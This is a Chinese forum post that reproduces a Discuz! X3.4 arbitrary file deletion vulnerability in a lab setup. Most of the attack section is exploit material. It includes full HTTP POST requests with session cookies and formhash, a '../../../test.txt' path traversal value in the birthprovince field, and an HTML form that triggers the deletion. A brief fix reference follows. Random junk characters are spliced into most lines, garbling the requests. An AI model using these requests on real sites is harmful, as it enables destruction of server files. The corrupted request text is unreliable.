找回密码
 立即注册
搜索
查看: 278|回复: 0

Discuz!X 3.4 任意文件删除漏洞复现

[复制链接]

986

主题

92

回帖

5万

积分

管理员

积分
55255
发表于 2022-6-25 08:59:09 | 显示全部楼层 |阅读模式

& T' X; C$ h: \+ V) l/ k3 a% a
3 B8 o5 ?! y& h前言:9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复,但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。# U# a' x% [5 W
影响版本:Discuz < =3.4 环境
: B# t/ i$ ]+ |4 ?
. _$ }/ ?# U/ u复现过程:首先在discuz目录下新建一个test.txt文件,到时候删除用。
! D- @  [  p7 S% M* E新建test.txt
. w$ ^* f$ Q3 o. P3 N7 T* |访问:http://192.168.220.131/home.php?mod=spacecp,然查审查元素,查看formhash的值,然后复制。
' e! n/ G# n4 e- H( m, u8 q
8 q' c9 l" J9 A
: _, w) u% Z. N
查看formhash: O/ {* C9 V0 N: k& a* {3 y# q
利用burp抓包,获取cookie
& y0 [/ u. w( E" T1 K! u0 y" Q
9 ]5 N( D$ D/ r# U4 `4 H

- [  @; Q, q0 n' w. Q( Q
8 E4 G8 Q& h( \3 f. W6 J: `  p( S8 {) v! Z1 U0 q; [5 u. y- ^- g8 f0 q
- u' d! O( J, [. X
抓取cookie" p6 X$ X! ~! v; N6 y/ E
1 T* k1 `% ~) t1 U7 J
发送下面数据包:修改cookie,formhash,还有删除的文件: l* Y6 t- h# N! Z- n9 P
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.15 k8 f6 o4 X& [% T
Host: localhost
8 H. n  x. \/ i! |; M4 cContent-Length: 3676 P- C7 {5 {5 d8 ?9 d, a
Cache-Control: max-age=0
: S. I! t- ~$ @# T$ i8 bUpgrade-Insecure-Requests: 1' `" w4 K8 I5 `: L, Y
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s# y9 Q. E+ ]2 A9 k! F$ t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
& Y9 ?3 r1 T. aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8$ O4 ?5 j2 U+ A; u" b
Accept-Encoding: gzip, deflate
& F- \& J$ y% s! `* c$ fAccept-Language: zh-CN,zh;q=0.8,en;q=0.6
0 o! P4 x# P1 _+ R: @Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056. n/ i4 o* g1 q2 T* U
Connection: close
3 F' }: C* c9 O! ]------WebKitFormBoundaryPFvXyxL45f34L12s4 S3 n+ F4 |& ^4 w; w+ i) O: R( o
Content-Disposition: form-data; name="formhash"
  v+ G- }# k  q( k2 F# I& J# l84a7f376
, h/ ^: {# d8 f------WebKitFormBoundaryPFvXyxL45f34L12s
- R2 ?  W5 p3 I  P* N; V1 V% eContent-Disposition: form-data; name="birthprovince"
( h) z+ i' A1 h' }0 T  j' }../../../test.txt
0 Y: d9 H  G8 F. Z$ i8 ]4 d- q------WebKitFormBoundaryPFvXyxL45f34L12s
! B1 R+ ?- j% L" v8 q, ]Content-Disposition: form-data; name="profilesubmit"1 x7 G+ I+ z3 s& T+ X) `
1
3 P' V9 }. o% H9 ?------WebKitFormBoundaryPFvXyxL45f34L12s--
; e9 [6 E1 u9 H/ k) e发送删除的数据包3 Z# e3 O- d" e- q& [
刷新页面,查看出生地就会显示成下图所示的状态:
  h% N8 G% W% B' t! ~% T2 |3 {: X数据成功写入
1 `: A% T* L, K; ]" M. I
9 y# V/ b2 b. K2 X: p3 w& I, x
, H/ ]+ G+ G8 v- p
说明数据已经进入数据库:
+ P, F: @& Y! e/ t' L! o+ N然后,新建一个upload.html,代码如下,将其中的ip改成discuz的域名,[form-hash]改成你的formhash:
2 n9 F' X/ J2 B0 D/ W  l9 a<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
% G$ K3 W5 f- |4 O- S<input type="file"name="birthprovince" id="file" />7 c- m" u  _: i6 x# g9 z* K2 i
<input type="text"name="formhash" value="84a7f376"/></p>
0 E4 `8 A6 }6 ]( u3 j6 c<input type="text"name="profilesubmit" value="1"/></p>
1 f! A- k6 X& @2 j<input type="submit"value="Submit" />
7 C$ r. O9 T# D! J9 ?6 j. C</from>1 W5 b6 }* I: d) d# @2 f& b6 v) S5 k2 z
& g& r; q* I' u! c4 J  ?6 E' ?! k

1 G4 n. e% e2 j. |

, F, n9 [6 u9 O, N+ k) |: ]
8 ?$ L0 G% G( W2 A) r: a) n6 _. @: y4 U2 L
或者直接构建数据包:
. f9 m; g' g6 h8 Y& d# RPOST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1$ @/ a7 F. y1 |9 H& B" g" ^
Host: 192.168.220.131) }$ }0 B8 r3 p+ G
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0: C; K. E6 O% b, d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" K  l7 s5 V2 Y9 ~0 v6 r8 L
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2$ y) ]( s  j7 l; I4 i' j
Accept-Encoding: gzip, deflate- c- S& [3 e6 Y% s* d& B3 C
Content-Type: multipart/form-data; boundary=---------------------------1238217421187166 z/ [5 I/ M$ ?! H8 ]( A
Content-Length: 91989
6 o5 f0 M* U+ w3 YConnection: close
5 X% S; x: j* _6 F' A% l% ICookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
: [# u1 |  u2 P5 N8 J$ YUpgrade-Insecure-Requests: 1& N7 ]/ _+ y2 e* B! Y" L
-----------------------------123821742118716
$ b( y8 O8 Y; O! l* U9 rContent-Disposition: form-data; name="birthprovince"; filename="0.jpg"7 b% @# W/ |9 `5 n. G9 k
Content-Type: image/jpeg
" `7 ?* @! O6 u& P: S  ^5 m: azerba(这里写啥都可以)  \- G( ?" Q3 B9 _
-----------------------------123821742118716--8 k# L1 P+ b# o8 i+ g/ g  K, N# K: \

) y3 _2 g! b, ?( B) }# c2 r; }3 n
8 J( O7 h9 y! v7 v6 F5 j

" n- w, x; I6 k: r! ~  S. ]) `2 ?
5 t# t; u3 z8 F2 V+ L
" G6 Y3 B- K" {1 p2 e  B9 s4 W

  x5 i+ x8 W: x9 K: z5 G* I
1 @+ d+ Y- x9 L3 g+ ^% V7 e

! K: U* j; A( ]  q0 K0 Z. Z: _
* \9 d4 ?0 J: S4 p7 b0 v* f# {/ y: C4 j- l5 ^+ f
进去discuz看看,可以看到,test.txt文件已经被删除了。
* q- h- n0 p( }/ ?
4 O9 q/ p3 Y4 ^' X5 P/ ]- X0 r) Q  L% E3 T9 q

" `. l* C2 l4 U- D0 R, o: D( a1 M5 c* {* R" ]) v+ E, g

& k5 M1 V3 ]  ^2 v6 S修复建议:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
2 E& M. r8 f6 s- C% @2 E编辑upload/source/include/spacecp/spacecp_profile.php文件,删除和unlink相关代码。
! B3 s' w: y5 H1 @, [' \9 |- v6 E; Q& \! d' p+ x* z$ J
; _) \1 K* e- J1 Q: S& M
2 f  R. U2 v! q% \
) C( l$ s5 {8 }2 a: A: i: w
4 ~( e; @  m/ w: L- H; N& l) k4 l# @
. C- j  N  \* D4 _0 M

( W8 y# j- u0 r! _0 q9 E3 ?
% d/ h# @9 L9 z* a: Y
3 y/ u$ ~  k% W' F1 V* B
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-3-22 03:28 AM , Processed in 0.077668 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表